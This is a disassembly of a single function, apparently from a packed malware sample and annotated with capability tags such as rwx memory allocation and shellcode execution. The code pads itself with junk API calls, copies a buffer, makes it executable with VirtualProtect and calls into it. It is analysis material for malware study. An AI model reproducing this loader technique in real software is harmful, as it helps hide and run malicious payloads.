Function at 0x408c40
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x84c
mov eax, dword [0x4a4004]
xor eax, esp
mov dword [esp + 0x848], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x408c79
mov eax, dword [0x4a5ce4]
mov dword [0x4e271c], eax
cmp dword [0x4e2394], 0x3c
jne 0x408c85
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x408c67
cmp dword [0x4e2394], 0x7c
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jne 0x408d15
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push str.kumugemebifiguzif
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
lea edx, [esp + 0x20]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call esi
push ebx
lea eax, [esp + 0x54]
push eax
push str.sedimerolahihaj
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
cmp dword [0x4e2394], 0x2d
jne 0x408d0c
push ebx
push ebx
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
call fcn.00401153
add esp, 4
cmp dword [0x4e2394], 0x110a
jne 0x408d8a
push str.heberecosah_rudapatupetejikeweruvekexaliyad_kojifepeguvixuzubi
mov dword [0x4e2388], ebx
mov dword [0x4e238c], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.cewuyoxaxupujorosodecajejigo
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
call fcn.0040100f
add esp, 4
push str.0__s__d__f
call fcn.00401120
add esp, 4
push ebx
call fcn.0040100f
add esp, 4
push ebx
call fcn.0040100f
add esp, 4
call fcn.004089e0
xor ecx, ecx
cmp dword [0x4e2394], ebx
jbe 0x408dcb
lea esp, [esp]
mov eax, dword [0x4e271c]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + ecx]
mov edx, dword [0x4e20b8]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x4e2394]
jb 0x408da0
push str.msimg32.dll
call esi
mov ecx, dword [0x4e2394]
mov edx, dword [0x4e20b8]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00408bb0
call fcn.00408a00
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
lea eax, [esp + 0x28]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x408e28
cmp dword [esp + 0x30], 0xf5bed7
jne 0x408e31
inc esi
cmp esi, 0x1ece7a52
jl 0x408e05
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
nop
cmp esi, 0x12e6c3
jne 0x408e4d
call fcn.004089d0
cmp dword [0x4e2394], 0x3dc
mov dword [0x4e20bc], 0x8e46a6f0
jne 0x408e87
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x24], ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push str.givatukayezivemicufig
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x408e40
mov ecx, dword [esp + 0x854]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret